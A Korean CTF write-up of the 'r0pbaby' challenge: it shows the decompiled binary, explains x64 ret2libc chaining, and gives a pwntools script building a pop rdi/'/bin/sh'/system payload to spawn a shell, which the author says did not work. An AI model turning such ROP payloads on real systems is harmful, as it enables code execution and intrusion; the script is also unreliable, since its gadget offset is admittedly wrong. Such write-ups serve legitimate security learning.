결론부터 말하자면 못풀었다.
대회가 끝난뒤 local에서 푸느라 local libc를 사용해야 됐다.
PIE가 걸려있어서 ROP가젯을 libc에서 구해야 되는데 pop rdi; ret 가젯이 libc에 없었다.
왜 그런지는 나중에 알 기회가 있겠지
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int v3; // eax unsigned __int64 v4; // r14 int v5; // er13 size_t v6; // r12 int v7; // eax void *handle; // [rsp+8h] [rbp-448h] char nptr[1088]; // [rsp+10h] [rbp-440h] __int64 rop; // [rsp+450h] [rbp+0h] setvbuf(stdout, 0LL, 2, 0LL); signal(14, handler); alarm(0x3Cu); puts("\nWelcome to an easy Return Oriented Programming challenge..."); puts("Menu:"); handle = dlopen("libc.so.6", 1); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { sub_BF7(); if ( !next_input((__int64)nptr, 1024LL) ) { puts("Bad choice."); return 0LL; } v3 = strtol(nptr, 0LL, 10); if ( v3 != 2 ) break; __printf_chk(1LL, (__int64)"Enter symbol: "); if ( next_input((__int64)nptr, 64LL) ) { dlsym(handle, nptr); __printf_chk(1LL, (__int64)"Symbol %s: 0x%016llX\n"); } else { puts("Bad symbol."); } } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_24; __printf_chk(1LL, (__int64)"libc.so.6: 0x%016llX\n"); } if ( v3 != 3 ) break; __printf_chk(1LL, (__int64)"Enter bytes to send (max 1024): "); next_input((__int64)nptr, 1024LL); v4 = (signed int)strtol(nptr, 0LL, 10); if ( v4 - 1 > 0x3FF ) { puts("Invalid amount."); } else { if ( v4 ) { v5 = 0; v6 = 0LL; while ( 1 ) { v7 = _IO_getc(stdin); if ( v7 == -1 ) break; nptr[v6] = v7; v6 = ++v5; if ( v4 <= v5 ) goto LABEL_22; } v6 = v5 + 1; } else { v6 = 0LL; } LABEL_22: memcpy(&rop, nptr, v6); } } if ( v3 == 4 ) break; LABEL_24: puts("Bad choice."); } dlclose(handle); puts("Exiting."); return 0LL; } | cs |
코드자체는 엄청길지만 실행시켜보면 무슨 프로그램인지 바로 알 수 있다.
libc_base 주소와 함수 offset을 쉽게 구할 수 있다.
근데 libc_base주소는 이상하므로 offset만을 사용해서 풀자
x64는 x32와 함수의 인자를 다루는 방식이 다르다
https://opentutorials.org/module/2004/11702
따라서 RTL구성이
dummy + system + dummy + binbash 가 아니라
dummy + pr + binbash + system 이다.
또한 x64는 함수 인자를 레지스터에 저장하므로 첫번째 인자전용 레지스터 rdi에 binbash주소를 pop해주어야한다.
따라서 pr은 pop %rdi; ret 이어야만한다.
gdb에서
print를 통해 system의 주소를 구하고
find를 통해 "/bin/sh"문자열의 주소를 구한뒤
둘의 offset을 계산하면
프로그램 실행시 system의 주소를 받아와 "/bin/sh"문자열의 주소를 알 수 있다.
(PIE가 걸려있으므로 프로그램 실행할 때마다 바뀜)
exploit 과정
1. system과 "/bin/sh"의 offset을 구한다.
2. system과 pr의 offset을 구한다.
3. 프로그램 실행 뒤 system의 주소를 받아온다.
4. system의 주소를 토대로 pr과 "/bin/sh"의 주소도 구해준다.
5. payload구성 dummy(8) + pr(8) + "/bin/sh"(8) + system(8) -> 32 (물론 들어가는 값은 전부 주솟값이다)
6. send
exploit 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * p = process("./r0pbaby") p.recv(2222) p.sendline("2") p.recv(2222) p.sendline("system") rep = p.recvline()[17:] system_addr = int(rep, 16) pr_rdi_gadget = system_addr-0x2AAAA22DA51D abinsh_addr = system_addr+0x164A5A print (hex(system_addr),hex(pr_rdi_gadget),hex(abinsh_addr)) p.recv(2222) p.sendline("3") p.recv(2222) p.sendline("32") pay = "A"*8 pay += p64(pr_rdi_gadget) pay += p64(abinsh_addr) pay += p64(system_addr) p.send(pay) p.recv(2222) p.sendline("4") p.interactive() | cs |
pop rdi; ret의 주소를 찾을 수 없어 libc가 아니라 r0pbaby에 있는 코드를 활용했지만 역시 안됐다.
'정보보안 > CTF' 카테고리의 다른 글
[CSAW CTF 2013] Exploitation4 (0) | 2018.11.12 |
---|---|
[CSAW CTF 2013] Exploitation3 (0) | 2018.11.10 |
[CSAW CTF 2013] Exploitation2 (0) | 2018.11.09 |
[DEFCON CTF 2016] xkcd (0) | 2018.11.07 |
[TWMMA CTF 2016] Pwn greeting (0) | 2018.11.07 |